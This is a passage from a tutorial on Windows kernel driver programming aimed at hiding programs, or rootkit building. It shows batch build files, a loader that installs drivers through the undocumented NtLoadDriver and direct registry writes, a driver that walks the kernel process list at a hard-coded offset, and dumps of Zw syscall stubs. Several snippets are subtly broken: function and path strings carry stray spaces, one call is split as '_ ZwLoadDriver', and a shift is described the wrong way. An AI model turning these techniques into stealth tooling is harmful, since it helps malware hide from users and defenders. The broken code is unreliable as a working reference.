Device Driver - Hiding Programs Part2

 

Cont……

 

Now lets get back to the basics. The code that we have been writing so far has only one problem. We have to reboot our machine each time. Would it not be great if we could write a program that will load and unload our device driver each time. This is save us time from waiting for Windows to reboot and this believe us takes much longer than it should.

 

We have created a sub-directory driverm1 and placed all our code from now on there. We will create three batch files and two c files as follows.

 

a.bat

cd \

cd winddk\2600.1106\bin

call setenv c:\winddk\2600.1106

cd \driverm1

 

We run this batch file only once as we need to set the environmental variables but if we run it twice no error occurs. The header files of the ddk need certain environmental variables to be set or else we cannot compile even the smallest application. We mentioned it earlier that the setenv batch file sets a trillion such variables and needs to know where we have installed the ddk on our machine. We have installed it in the default location.

 

b.bat

call a.bat

del r.obj

del vijay.sys

cl -Ic:\winddk\2600.1106\inc\ddk\wxp -Ic:\winddk\2600.1106\inc\crt -D_X86_=1 /c /Gz r.c

link -subsystem:native,5.01 -entry:DriverEntry@8 -out:vijay.sys r.obj c:\winddk\2600.1106\lib\wxp\i386\ntoskrnl.lib  c:\winddk\2600.1106\lib\wxp\i386\libc.lib  c:\winddk\2600.1106\lib\wxp\i386\oldnames.lib c:\winddk\2600.1106\lib\wxp\i386\hal.lib

 

The file b.bat is used to build the driver. We first call a.bat and then delete the driver obj file r.obj and the driver Vijay.sys. We call the compiler and linker like before, the only difference being as we move on we will use the –I option to set more include directories. For some reason the header files are present in dozens of directories. In the same way we will also add some more lib files for the linker to search for code.

 

The code that we write will be in r.c.

 

r.c

#include <ntddk.h>

UNICODE_STRING gDeviceName,gSymbolicLinkName;

PDEVICE_OBJECT gpDeviceObject;

#define DRV_NAME L"vijayd"

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)

{

PIO_STACK_LOCATION esp;

esp = IoGetCurrentIrpStackLocation(pIrp);

if (esp->MajorFunction == IRP_MJ_CREATE)

DbgPrint("IRP_MJ_CREATE\n");

if (esp->MajorFunction == IRP_MJ_DEVICE_CONTROL)

DbgPrint("IRP_MJ_DEVICE_CONTROL\n");

pIrp->IoStatus.Status = STATUS_SUCCESS;

pIrp->IoStatus.Information = 0;

IoCompleteRequest(pIrp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload (PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading...\n");

IoDeleteSymbolicLink(&gSymbolicLinkName);

IoDeleteDevice(gpDeviceObject);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);

RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatcher;

IoCreateDevice(driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);

IoCreateSymbolicLink(&gSymbolicLinkName, &gDeviceName);

DbgPrint("Vijay 11");

return(STATUS_SUCCESS);

}

 

There is nothing new about our driver code and this will be used as our base. Sometimes we will only have code in the DriverEntry function, sometimes in the DriverDispatcher function as we will be passing parameters to our driver from userland.

 

The name of the device created by our driver is vijayd. Each time our driver is unloaded, which we will see how to do, the DriverUnload member decides which function gets called. In our case function DriverUnload get called. Here we simply delete the device and symbolic link that we have created.

 

z.bat

cl y.c advapi32.lib

 

Smallest batch file, all that we do is pass the lib file advapi32.lib.

 

y.c

#include <windows.h>

#include <process.h>

SC_HANDLE m,s;HANDLE g;long b;

#define DRV_NAME "vijayd"

#define DRV_FILENAME "vijay.sys"

#define DIRECTORY "C:\\driverm1"

int main(int argc, char* argv[])

{

if(argv[1][1] == 'i')

{

m=OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS );

CreateService(m,"vijay","mukhi",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_NORMAL,DIRECTORY"\\"DRV_FILENAME,0,0,0,0,0);

s=OpenService(m,"vijay",SERVICE_ALL_ACCESS);

StartService(s, 0, 0);

g=CreateFile("\\\\.\\"DRV_NAME,GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);

DeviceIoControl(g,3 << 2,(void *) 0,0,0,0,&b,0);

}

if(argv[1][1]=='u')

{

SERVICE_STATUS ss;

SC_HANDLE sh;

SC_HANDLE rh;

sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

rh = OpenService(sh,"vijay",SERVICE_ALL_ACCESS);

ControlService (rh, SERVICE_CONTROL_STOP , &ss);

DeleteService(rh);

}

}

 

In the function main we check whether the user has type I or u as the second character of argv[1]. If it is I, the we install the program as before. We will explain later why we right shift the number 2 or control code passed. The name of the driver, its location and physical file name are stored as hash defines so that we can change it at one place. The service name is however vijay and will remain so.

 

When we uninstall the driver, we first open the SC manager and then the service vijay. We then use the function ControlService to send the command SERVICE_CONTROL_STOP to the service. Rh is the handle to the service vijay. Now that we have stopped the service, the function DeleteService will actually remove all the registry entries and unload the driver for us.

 

To test things out, we first run the Debug Viewer from sys internals. Running y –I installs the driver and displays three lines for us telling us what all got called. Then running y –u calls function DriverUnload in the driver for us. We make a change in one the DbgPrint and then b.bat and once again y –I and y –u. This show us the new change made in the Debug Viewer. This only proves that the new driver code got called.

 

y.c

#include <stdio.h>

#include <windows.h>

#include <malloc.h>

#include <tlhelp32.h>

#include <stdio.h>

#define DRV_NAME "vijayd"

#define DRV_FILENAME "vijay.sys"

#define DIRECTORY "C:\\driverm"

typedef struct

{

  unsigned short  Length;

  unsigned short  MaximumLength;

char * Buffer;

} ANSI_STRING, *PANSI_STRING;

typedef struct

{

  unsigned short  Length;

  unsigned short  MaximumLength;

  unsigned short *Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

long (_stdcall * _RtlAnsiStringToUnicodeString)(PUNICODE_STRING  DestinationString,PANSI_STRING  SourceString,unsigned char);

VOID (_stdcall *_RtlInitAnsiString)(PANSI_STRING  DestinationString,char *  SourceString);

long (_stdcall *_ZwLoadDriver)(PUNICODE_STRING DriverServiceName);

long (_stdcall * _ZwUnloadDriver)(PUNICODE_STRING DriverServiceName);

ANSI_STRING aStr;

UNICODE_STRING uStr;

HMODULE hntdll;

unsigned long byteRet;

HANDLE hDevice;

HKEY hkey;

DWORD val;

char *imgName = "System32\\DRIVERS\\"DRV_FILENAME;

void main(int argc, char* argv[])

{

hntdll = GetModuleHandle("ntdll.dll");

_ZwLoadDriver = GetProcAddress(hntdll, "NtLoadDriver");

_ZwUnloadDriver = GetProcAddress(hntdll, "NtUnloadDriver");

_RtlAnsiStringToUnicodeString = GetProcAddress(hntdll, " RtlAnsiStringToUnicodeString ");

_RtlInitAnsiString = GetProcAddress(hntdll, " RtlInitAnsiString ");

if ( strcmp(argv[1],"-i") == 0)

{

CopyFile(DIRECTORY"\\"DRV_FILENAME," C:\\winnt\\system32\\drivers \\"DRV_FILENAME,1);

RegCreateKey (HKEY_LOCAL_MACHINE,"System\\CurrentControlSet\\Services\\ "DRV_NAME,&hkey);

val = 1;

RegSetValueEx (hkey, "Type", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

RegSetValueEx(hkey, "ErrorControl", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

val = 3;

RegSetValueEx(hkey, "Start", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

RegSetValueEx(hkey,"ImagePath",0,REG_EXPAND_SZ,(PBYTE)imgName,strlen(imgName));

_RtlInitAnsiString(&aStr," \\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);

_RtlAnsiStringToUnicodeString (&uStr, &aStr, TRUE);

_ ZwLoadDriver (&uStr);

hDevice = CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

DeviceIoControl(hDevice, 2, 0, 0, 0, 0, &byteRet, 0);

}

if ( strcmp(argv[1],"-u") == 0)

{

_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);

_RtlAnsiStringToUnicodeString(&uStr, &aStr, TRUE);

_ZwUnloadDriver(&uStr);

DeleteFile("C:\\winnt\\system32\\drivers\\"DRV_FILENAME);

RegDeleteKey(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\"DRV_NAME"\\Enum");

RegDeleteKey(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\"DRV_NAME);

}

}

 

r.c

#include <ntddk.h>

UNICODE_STRING gDeviceName,gSymbolicLinkName;

PDEVICE_OBJECT gpDeviceObject;

#define DRV_NAME L"vijayd"

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)

{

PIO_STACK_LOCATION esp;

esp = IoGetCurrentIrpStackLocation(pIrp);

DbgPrint("DriverDispatcher =%x",pDeviceObject);

if (esp->MajorFunction == IRP_MJ_CREATE)

DbgPrint("IRP_MJ_CREATE\n");

if (esp->MajorFunction == IRP_MJ_DEVICE_CONTROL)

DbgPrint("IRP_MJ_DEVICE_CONTROL\n");

pIrp->IoStatus.Status = STATUS_SUCCESS;

pIrp->IoStatus.Information = 0;

IoCompleteRequest(pIrp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading =%x",DriverObject);

IoDeleteSymbolicLink(&gSymbolicLinkName);

IoDeleteDevice(gpDeviceObject);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);

RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatcher;

IoCreateDevice (driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);

IoCreateSymbolicLink(&gSymbolicLinkName, &gDeviceName);

DbgPrint("Vijay 9 =%x gpDeviceObject=%x",driverObject,gpDeviceObject);

return(STATUS_SUCCESS);

}

 

Vijay 8 =817045b0 gpDeviceObject=816fd910

DriverDispatcher =816fd910

IRP_MJ_CREATE

DriverDispatcher =816fd910

IRP_MJ_DEVICE_CONTROL

Unloading =817045b0

 

In the next example, we keep all the other files the same, but make a major change in the file y.c. The only problem with loading a device driver was that the functions used all very well documented by windows. Thus we thought lets load our device driver in memory by using functions that are not documented.

 

We went to a site in Singapore called www.security.org.sg/code. Here we downloaded a project kProcCheck that shows us how to load a device driver using undocumented functions. The point we are making is that the art of writing toolkits is not American and throughout the book we will be showcasing ideas that we have learned from all over the world. The best site however is American called www.rootkit.com and it owner Greg Hoglund is the undisputed father of writing toolkits.

 

To say thank you to him, we bought his book and advise you to also. Back to work. The variable names used keep changing as we normally use the same variable names that the program we learnt from does.

 

 

In the world of programming device drivers all code that we use comes from ntdll. The last time we used this dll we used function LoadLibrary to load it in memory. This is one dll that is always present in memory as windows automatically loads this and kernel32.dll in memory at startup. This we use the function GetModuleHandle to gives us a handle or a number that tells us where this dll starts in memory.

 

We would like to call four functions from this dll, NtLoadDriver and NtUnloadDriver which are undocumented and do what the name suggests. The RtlAnsiStringToUnicodeString does what the name says, converts a Ansi or ASCII string to Unicode and RtlInitAnsiString that initializes a ANSI string like RtlInitUnicodeString does.

 

The only difference between the ANSI_STRING and UNICODE_STRING structures is that the pointer to unsigned short is replaced by a pointer to char. No other difference as the two length members have the same purpose. We also create variables like _ZwLoadDriver, which would store the address of the corresponding function and as these are all stdcall functions, the callee and not the caller restores the stack.

 

We first check using the strcmp function whether the user has type –I  to install or –u to uninstall. To install the driver we first use the copy file function where we first specify the source file name and copy this file to the destination, the second parameter. We use macros to get the final names and copy the device driver file vijay.sys in our case to the C:\\winnt\\system32\\drivers. This is where windows expects all our device drivers to be.

 

Each time windows load our device driver in memory the second parameter to the DriverEntry function is the registry path that the driver should use. We thus use the function RegCreateKey to create a registry key System\\CurrentControlSet\\Services\\vijayd off the main hive HKEY_LOCAL_MACHINE.

 

The last parameter of the function RegCreateKey gives us a HKEY that we use for further registry access. We create four sub keys, the first being Type and set it to 1. The RegSetValueEx takes 6 parameters, the first the key, the second the name of the sub-key, the second last the address of a variable that contains the value and the last parameter the size of data to be written.

 

We then set the ErrorControl value also to 1. The Start value is set to 3 and ImagePath to the full path name of the driver file  i.e C:\winnt\system32\drivers\vijay.sys. These registry entries are created by the service manager functions. We then create a ANSI_STRING and set it to a value equal to the first registry key that we have created \\Registry\\Machine\\System\\CurrentControlSet\\Services\\vijayd.

 

We then create a UNICODE_STRING from this ansi string using the function RtlAnsiStringToUnicodeString. We directly could have used the function RtlInitUnicodeString as we have been using in the past, but the code we saw did it in a indirect way and so do we. Use whichever method you like.

 

We then use the ZwLoadDriver function to load the driver passing it the registry key stored in the variable uStr. Thus someone found out that the service functions first create the registry entries and the call the function ZwLoadDriver passing it the starting registry key that has a specified format. We then use functions CreateFile and DeviceIoControl to communicate with our device driver.

 

That install the driver and it is faster than using the service manager functions. The uninstall part simply uses function ZwUnloadDriver passing it the UNICODE_STRING structure with the same registry name. We then delete the file vijay.sys that we copied into the driver directory. We also delete the main registry key created and a Enum key that we did not create using the function RegDeleteKey.

 

This calls the function DriverUnload in our driver. In the driver file r.c we have added some code to further explain some concepts.

 

The DriverObject function is passed a pointer to the DRIVER_OBJECT structure that represents our driver. In our case the value is 817045b0. This same pointer is passed to the DriverUnload function. We create a device vijayd using the function IoCreateDevice. This gives us DEVICE_OBJECT pointer that starts at 816fd910. Each time our driver dispatch function is called we are passed this object which represents our device. Thus we are working with two objects DRIVER_OBJECT and DEVICE_OBJECT during the life cycle of our driver.

 

y.c

long b,howmany;int arr[2];

 

hDevice = CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

howmany = 12;

DeviceIoControl(hDevice,3 << 2,(void *)&howmany,4,&arr,8,&b,0);

printf("b=%d return is %d %d\n",b,arr[0],arr[1]);

 

 

r.c

#include <ntddk.h>

UNICODE_STRING gDeviceName,gSymbolicLinkName;

PDEVICE_OBJECT gpDeviceObject;

#define DRV_NAME L"vijayd"

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

PIO_STACK_LOCATION irpStack;

irpStack = IoGetCurrentIrpStackLocation (Irp);

if (irpStack->MajorFunction == IRP_MJ_CREATE)

DbgPrint("IRP_MJ_CREATE\n");

if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL)

{

long *inputBuffer;

int inputBufferLength,outputBufferLength,ioControlCode,ans,io1;

int *outputBuffer;

inputBuffer = Irp->AssociatedIrp.SystemBuffer;

inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

outputBuffer = Irp->AssociatedIrp.SystemBuffer;

outputBufferLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;

ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

DbgPrint("inputBuffer=%x outputBuffer=%x inputBufferLength=%d outputBufferLength=%d ioControlCode =%d",inputBuffer,outputBuffer,inputBufferLength,outputBufferLength, ioControlCode);

io1 = ioControlCode &0x1ffc;

io1 = io1 >> 2;

DbgPrint("ioControlCode=%08x io1=%d",ioControlCode,io1);

ans = *inputBuffer;

DbgPrint("ans=%d",ans);

*outputBuffer=10;

*(outputBuffer+1)=20;

Irp->IoStatus.Information=8;

}

Irp->IoStatus.Status = STATUS_SUCCESS;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

 

Before we move back to working with processes, lets write a program that will transfer data back to our user mode program from a device driver. So far we have send values from ring 3 to our device driver, now lets send data from the device driver to our user program. The second parameter to our function DeviceIoControl is not  one large monolithic value, but made up of individual fields. The entire 32 bits is divided into 6 fields. The first two bits is called the transfer type. Thus we are allowed any of four values given below.

 

#define METHOD_BUFFERED                 0

#define METHOD_IN_DIRECT                1

#define METHOD_OUT_DIRECT               2

#define METHOD_NEITHER                  3

 

There are three major ways to transfer data to and fro from ring 0 to ring 3. For small amounts of data we use the first method, Buffered IO. The OS created a non paged buffer which is the same size as the buffer we the application specify. When we send the data to the driver, the I/O manager copies the data into memory that the driver will be passed a handle to. The driver can this read this memory to fetch its contents. When the driver wants to send data to a ring 3 program, it copies the data into a buffer, which is then copied into memory specified by the ring 3 program before the DeviceIoControl function finishes. This is the method most drivers use.

 

Whenever we want to transfer large amounts of data quickly we use the second method, Direct I/O. This uses DMA or PIO for the transfer. The OS locks the applications buffer in memory. It then uses a entity called a memory descriptor list MDL that we will show you later to allow us to handle these pages. We have two hash defines for this method.

 

The last is neither of the above two where the OS passes only the application i.e input and output buffers virtual addresses and size. Thus the IO manager does not supply system buffers or MDLs nor does it validate or map the memory. This buffer is only accessible by drivers that are executing in the applications thread context that started the IO request. This condition can only be met by the highest level kernel mode driver and thus not normally used at all.

 

The next 11 bits are called the function code and values less than 0x800 are reserved by Microsoft. This value specifies what the driver should do with the request. There would be a series of if statements in the driver where we do different things dependent upon the value here.

 

We then have one more bit called the custom bit, which is left for us to use. The next two bits are called required access. The driver will create a device which we will open using the CreateFile function. Here we have to specify an access field so that the system can figure out whether we have the right access. Normally we use FILE_ANY_ACCESS and the other values are as shown below. 

 

#define FILE_ANY_ACCESS                 0

#define FILE_SPECIAL_ACCESS    (FILE_ANY_ACCESS)

#define FILE_READ_ACCESS          ( 0x0001 )    // file & pipe

#define FILE_WRITE_ACCESS         ( 0x0002 )    // file & pipe

 

The next 15 bits are the device type and the last bit is the common bit. As before values less than 0x800 are reserved for Microsoft and the rest we can use. This number identifies the device type and the value of 2 specifies a CD_ROM. The value FILE_DEVICE_UNKNOWN is 0x22 which specifies an unknown device. If our device driver does not fall in a certain device type, either we use the above or a value larger than 32768. The guys at Microsoft have given us a macro to make our job easier.

 

#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \

    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \

)

 

We use this macro CTL_CODE and give it the Device type, function code, the manner of transferring data and finally the access method. This macro does the shifting of bits for us. We also have macros like

 

#define DEVICE_TYPE_FROM_CTL_CODE(ctrlCode)     (((ULONG)(ctrlCode & 0xffff0000)) >> 16)

 

which pick up a device type form a control code. The actual value of the control code goes over, we have to extract the individual fields. In the program y.c we want to send a function code of 3 and  keep all the other fields at 0. We thus left shift the number 3 by 2. We pass a value of 12 and want two numbers back in our array b, whose address we pass and the second last parameter is the size of the array 8.

 

Vijay 6

IRP_MJ_CREATE

inputBuffer=81b2fa88 outputBuffer=81b2fa88 inputBufferLength=4 outputBufferLength=8 ioControlCode=12

ioControlCode=0000000c io1=3

ans=12

Unloading...

 

In the r.c program we use the member SystemBuffer which contains the address of the buffer in which we have to read and write. The read and write buffers are the same. We first read the values passed to us and then write the new values we want to send across.  We use the irpStack pointer to give us the size of the input and output buffer. Thus the input buffer length is 4 and the output buffer length is 8. The IO control code value is 12 as we have shifted 3 two to the right the net result is that we have multiplied it by 4.

 

We then use the mask 0x1ffc which we bit wise and with the control code to give us the function code. We then right shift this value by 2. We fetch the input values like before, but the values we pass back we now write into the outputBuffer pointer. We write 10 and 20 and thus the values of the two members of the array passed are 10 and 20.

 

The Information member we now set to the number of bytes we have actually written. As we have written 8 bytes, we set this member to 8. If we set to it 4 as below,

 

Irp->IoStatus.Information=8;

 

Then even though we have written 8 bytes of the array, the system thinks we have written only 4, and the first member of the array gets set not the second. The output now shows as.

 

b=4 return is 10 0

 

instead of

 

b=4 return is 10 20

 

Now lets write out a program that will display all the programs that are running on our machine. Wait a minute, we already wrote such a program down in the past. The only problem with that the output of that program was displayed using DbgPrint and not by our ring 3 programs.

 

y.c

long b,howmany;char arr[10000];int i;

 

hDevice = CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

DeviceIoControl (hDevice,3 << 2,0,0,&arr,10000,&b,0);

for( i = 0; i < b ; i++)

printf("%c",arr[i]);

 

In our y.c program, we simply create a array 10000 large and pass the address of this array and its size to the function DeviceIoControl. The second last parameter b simply gives us the length of the output written by the driver. We then use a for loop to write out the array. This gives us a huge output of all the programs running on our machine. We are not passing any parameters to our driver.

 

r.c

#include <ntddk.h>

#include <stdio.h>

UNICODE_STRING gDeviceName,gSymbolicLinkName;

PDEVICE_OBJECT gpDeviceObject;

#define DRV_NAME L"vijayd"

struct process

{

char a[156];

long pid;

LIST_ENTRY *Flink,*Blink;

};

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

PIO_STACK_LOCATION irpStack;

irpStack = IoGetCurrentIrpStackLocation (Irp);

if (irpStack->MajorFunction == IRP_MJ_CREATE)

DbgPrint("IRP_MJ_CREATE\n");

if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL)

{

int startpid,len,totallen,outputBufferLength;

struct process *proc;

char *outputBuffer;

char aa[100];

outputBuffer = Irp->AssociatedIrp.SystemBuffer;

proc= (struct process *)PsGetCurrentProcess();

startpid = proc->pid;

totallen=0;

outputBufferLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;

DbgPrint("outputBufferLength=%d",outputBufferLength);

*outputBuffer = 0;

while (1)

{

sprintf(aa,"%s:%d\n",(char *)proc+508,proc->pid);

len = strlen(aa);

totallen = totallen + len;

//DbgPrint("%s %d %d",aa,len,totallen);

strcat(outputBuffer,aa);

proc = (struct process *)( (char *)proc->Flink - 160);

if ( startpid == proc->pid)

break;

}

Irp->IoStatus.Information=totallen;

}

Irp->IoStatus.Status = STATUS_SUCCESS;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

 

We use the same code that we used earlier to display all the programs running by traversing the link list in the while loop. We first use the sprintf function to write out the name of the program and its pid. We are assuming that the name of the program begins 508 bytes form the start. 

 

In the next program we will explain how we get this magic number. We then find out the length of the string in the array aa using the strlen function. We also need a variable totallen to keep track off the number of bytes we plan to send across. We then use the function strcat to copy the current string in the array aa to the outputBuffer.

 

At the start of the while loop we null terminate the array. When we leave the while loop we set the Information member to totallen, the number of bytes we have written in the buffer. In future we will display everything in ring 0, as an exercise you can display it in ring 3.

 

r.c

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;int i=0;

RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);

RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatcher;

IoCreateDevice (driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);

IoCreateSymbolicLink(&gSymbolicLinkName, &gDeviceName);

DbgPrint("Vijay 9 =%x gpDeviceObject=%x",driverObject,gpDeviceObject);

p= (char *) PsGetCurrentProcess ();

for(i = 0; i <4096 ; i++)

if ( strncmp(p+i,"System",6) == 0)

break;

DbgPrint("i=%d",i);

return(STATUS_SUCCESS);

}

 

i=508

 

When the function DriverEntry gets called, the current process running is not our program y.exe or any other program. It is the OS or the program System. The function PsGetCurrentProcess returns a pointer to the EPROCESS structure which we store in variable p.

 

We next use a for loop for finding out where a string System or the name of the current program starts from p. When we find this string, we break out of the for loop. This value is 508 and therefore all process have the name beginning from this offset.

 

P36

r.c

#include <ntddk.h>

#include <stdio.h>

NTSTATUS NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent,PIO_APC_ROUTINE IoApcRoutine,PVOID IoApcContext,PIO_STATUS_BLOCK pIoStatusBlock,PVOID FileInformationBuffer,ULONG FileInformationBufferLength,FILE_INFORMATION_CLASS FileInfoClass,BOOLEAN bReturnOnlyOneEntry,PUNICODE_STRING PathMask,BOOLEAN bRestartQuery);

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;

long no;

unsigned char first;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

DbgPrint("Vijay 2");

p = (char *)ZwQuerySystemInformation;

first = *p;

p = p + 1;

no = *(long *)p;

DbgPrint("first=%x no=%d p=%x",first,no,p);

p = (char *)ZwQueryDirectoryFile;

first = *p;

p = p + 1;

no = *(long *)p;

DbgPrint("first=%x no=%d p=%x",first,no,p);

return(STATUS_SUCCESS);

}

 

first=b8 no=151 p=804011ab

first=b8 no=125 p=8040100b

 

We have created a function prototype for the function ZwQuerySystemInformation but have not specified the code for this function anywhere. The NTAPI stands for _stdcall which does do things. One it changes the name of the function by adding the @ sign and a number denoting the total space occupied by all the parameters on the stack.

 

This was explained earlier and unlike the C calling convention which is followed by default, in _stdcall the calle i.e. the actual function restores the stack and not the caller. If we mix up calling conventions, then the stack looses its sanctity  and anything can happen. Normally if you are lucky, the machine simply hangs or if you are like us, the code malfunctions in dumb ways and you wonder what is happening.

 

In the DriverEntry function we set p to the name of the function ZwQuerySystemInformation. The name of the function is a number that tells you where the function starts or begins in memory. We then print out the first byte which is B8 and then the next four. For the ZwQuerySystemInformation this value is 151.

 

We then try out the same antics with the function ZwQueryDirectoryFile, we specify only the prototype and here also the first byte is B8 and the next four are 125. NTSYSAPI is a hash define for __declspec(dllimport). When we create a Dll and we want others to use our functions or variables we use the keyword __declspec(dllexport) which tells the linker to create the entities needed so that others can access our functions or variables.

 

Thus when we want to use the variables or functions exported by others we use the __declspec(dllimport) keyword which is optional. But if you do not specify it, then the value does not get set and we get the wrong answers. Thus it is optional only in name. To be specific on our machine when we used the NTSYSAPI both functions gave us a value starting with 80401. When we removed it, the variable did not get initialized and gave us a value starting with eb7e. This is obviously a random value in kernel space.

 

If we do not use the NTAPI #define, all works well but you are sitting on a time bomb waiting to explode. This bomb will explode the minute you call a function and the stack will go haywire and here even god can not help you.

 

In the b.bat file we use a lib file ntoskrnl.lib. This lib file stands in for ntoskrnl.exe which is present in C:\winnt\system32 and is 1.7 MB large. This lib file has a large number of exported variables and functions, of which two we have just used. This is why we get no error as we have not created the code of the functions, they are exported by the file ntoskrnl.exe.

 

The function printf is exported by libc.lib or oldnames.lib. Remove the lib file ntoskrnl.lib from the linker and see the error we get. In the same vein, the calling convention _stdcall is also a must.

 

For the ones who excel in writing shellcode, one assembler instruction that we use a lot is to mov a value in the eax register.

 

Thus if we want to mov a value 10 in the eax register we would write it as mov eax, 10. If you see the opcode of this instruction, it is b8 10 0 0 0. Thus the first five bytes of any function beginning with Zw starts with the opcode  B8. Thus every Zw function starts by moving a value into the eax register. We have displayed the values used by two Zw functions, try the others out at your own risk.

 

P37

r.c

#include <ntddk.h>

#include <stdio.h>

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(HANDLE hFile,HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,           IN PVOID IoApcContext OPTIONAL,   OUT PIO_STATUS_BLOCK pIoStatusBlock,           OUT PVOID FileInformationBuffer,    IN ULONG FileInformationBufferLength,      IN FILE_INFORMATION_CLASS FileInfoClass,  IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL,      IN BOOLEAN bRestartQuery);

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

unsigned char *p;

int i;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

DbgPrint("Vijay 2");

p = (char *)ZwQuerySystemInformation;

for(i=0;i <= 12; i++)

DbgPrint("%x",*(p+i));

DbgPrint("\n\n");

p = (char *)ZwQueryDirectoryFile;

for(i=0;i <= 12; i++)

DbgPrint("%x",*(p+i));

return(STATUS_SUCCESS);

}

 

b8 97 0 0 0 8d 54 24 4 cd 2e c2 10

b8 7d 0 0 0 8d 54 24 4 cd 2e c2 2c

 

